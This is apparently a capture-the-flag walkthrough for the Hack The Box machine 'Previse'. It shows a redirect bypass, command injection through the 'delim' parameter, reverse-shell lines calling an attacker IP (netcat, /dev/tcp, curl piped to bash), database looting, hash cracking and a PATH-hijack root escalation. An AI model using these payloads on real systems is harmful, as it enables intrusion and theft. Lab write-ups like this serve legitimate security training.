HTB-Previse
Portscan
# nmap -v -Pn -sSVC -p- -oA nmap/previse 10.10.11.104 Nmap scan report for 10.10.11.104 Host is up (0.037s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: Previse Login |_Requested resource was login.php Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Exploring the Web App
Our initial portscan reveals only two open ports (SSH running on port 22 and the Apache web server on port 80). After editing our /etc/hosts file so that we can resolve previse.htb to 10.10.11.104 we navigate to the page and see what appears to be a login portal to a file storage app:
Enumeration with Gobuster
Taking note of the .php file extension we start enumerating further with gobuster to uncover any additional files or folders on the site.
$ gobuster dir -x php -w /opt/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://previse.htb/ -b 404,403 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://previse.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-files.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php [+] Timeout: 10s =============================================================== 2022/01/01 11:45:44 Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 302) [Size: 2801] [--> login.php] /login.php (Status: 200) [Size: 2224] /download.php (Status: 302) [Size: 0] [--> login.php] /config.php (Status: 200) [Size: 0] /footer.php (Status: 200) [Size: 217] /header.php (Status: 200) [Size: 980] /favicon.ico (Status: 200) [Size: 15406] /logout.php (Status: 302) [Size: 0] [--> login.php] /. (Status: 302) [Size: 2801] [--> login.php] /status.php (Status: 302) [Size: 2966] [--> login.php] /nav.php (Status: 200) [Size: 1248] /accounts.php (Status: 302) [Size: 3994] [--> login.php] /files.php (Status: 302) [Size: 4914] [--> login.php]
Reviewing the results we see a bunch of other pages that are mostly giving us a 302 re-direct to the login.php page. Manually checking the ones that give us a 200 result we find the http://previse.htb/nav.php page rather interesting:
Exploiting An Improper Redirect in the PHP Web App
This navigation page doesn’t appear like something we would expect to see prior to being logged into the site. Hovering over the links we find two other pages that weren’t found in our gobuster above: http://previse.htb/accounts.php and http://previse.htb/file_logs.php . Clicking on the links just re-directs us back to the login page; however, taking a look at the request and response in Burp we see something interesting when navigating to the accounts.php page:
We are getting the 302 re-direct but it’s still giving us the contents of the accounts.php page! We scroll through and see a note about how this page should only be viewable by admins.
We can leverage Burp suite to intercept and edit the response from accounts.php page.
After confirming Intercept is on, we navigate to the page again and see that our GET request has been intercepted. We right click on select Do intercept –> Response to this request and then hit the “Forward” button to send this on to the web server.
We get the response and see the 302 re-direct:
We can now change this 302 to a 200 before hitting the Forward button again:
Switching back to our browser we see that we are at the account creation page!
Creating an Account & Logging into the App
We proceed to create an account for ourselves named ‘hacker’ with a password of ‘Password1’
We can then turn off Intercept in Burp suite and proceed to login with our newly created account:
We navigate through the web application and notice that under the Files menu there appears to be a site backup .zip file that we can download:
Source Code Review & Command Injection
After extracting the files from the .zip we start exploring the source code of the site and quickly uncover database credentials in the config.php file.
$ unzip siteBackup.zip Archive: siteBackup.zip inflating: accounts.php inflating: config.php inflating: download.php inflating: file_logs.php inflating: files.php inflating: footer.php inflating: header.php inflating: index.php inflating: login.php inflating: logout.php inflating: logs.php inflating: nav.php inflating: status.php $ cat config.php <?php function connectDB(){ $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon; } ?>
Further source code review leads us to finding an interesting comment in logs.php and what appears to be a command injection vulnerability:
Whatever we put in the POST parameter ‘delim’ will get passed as an argument to the log_process.py script. We can leverage Burp suite to intercept and modify the request and try adding a semi-colon to see if we can get code execution.
First, we ensure that Intercept is enabled in Burp suite and then navigate to “LOG DATA” from the MANAGEMENT MENU and then click the SUBMIT button:
We see the intercepted request in Burp and confirm it is making a POST request to logs.php
After we setup a netcat listener on our box we edit the POST request and append ;nc 10.10.14.21 8000
We hit the Forward button in Burp and quickly get a connection on our box! This indicates the command injection was successful. Now that we’ve confirmed it works we can try to get a full reverse shell.
We create a simple reverse shell payload in a script called rev.sh and then use Python’s simple HTTPServer to host it.
$ cat rev.sh /bin/bash -i >& /dev/tcp/10.10.14.21/8000 0>&1
With our Python SimpleHTTPServer hosting the script on port 80 and netcat listening for the reverse shell on port 8000, we are ready to leverage Burp suite to edit another request and get code execution.
We add ;curl http://10.10.14.21/rev.sh | bash after the delim parameter to instruct the server to download our reverse shell script and pipe it to bash for execution.
Selecting everything after the delim= and pressing Ctl + U performs URL encoding of key characters:
We press the Forward button in Burp and get our reverse shell running as the www-data account:
Looting the Database
Now that we have a shell on the box we can try using the database credentials we found earlier in config.php to loot the database [ user: root password: mySQL_p@ssw0rd!:) ].
The credentials work and we see what databases are available. Switching to the ‘previse’ database we enumerate the tables and dump everything in the accounts table:
We see the hashed password for an account named ‘m4lwhere’ as well as the ‘hacker’ account we created earlier. We exit out of the database and check the /etc/passwd file to see if there is a user on the box with the same username:
www-data@previse:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
Password Cracking with Hashcat
We save m4lwhere’s password hash to a file named hash.txt and run hashcat to crack the password:
$ hashcat -m 500 -a 0 hash.txt /opt/wordlists/rockyou.txt --force --show $1$đŸ§‚llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
Logging in as m4lwhere
Now that we have the password for the m4lwhere account on the Web App we can try SSH’ing into the box to see if the user re-used the same password. It works and we get logged in as m4lwhere!
Privilege Escalation
Before even running any of the standard privilege escalation / enumeration scripts like linPEAS, I like to run sudo -l to see if the user can run anything interesting. Sure enough, there appears to be a custom script the user m4lwhere can run as root: /opt/scripts/access_backup.sh
If we can exploit this script somehow we may be able to get code execution as root. First, we check the permissions on the script as well as the content:
We don’t have permission to modify the script so we can’t simply add commands to it to get code execution as root. We do notice; however, that the full path to the gzip binary is not specified. If the sudo configuration is such that it doesn’t reset our environment variables (ie. the env_reset option) we could modify our PATH environment variable and create a trojan version of the gzip binary that would get executed instead of the real gzip.
We proceed to create a script named ‘gzip’ that will copy the bash executable and make it SETUID
After granting everyone rwx permissions to our trojaned gzip script we modify our PATH environment variable to first check in the current working directory. We then execute the access_backup.sh script with sudo and it works! We get a copy of bash in our home directory that has the setuid permissions!
We now execute this copy of bash with the -p option and get a root shell!
We now own the box and can print out the flags:
References & Useful Links
ippsec – HackTheBox – Breadcrumbs – (See section on 302 redirect)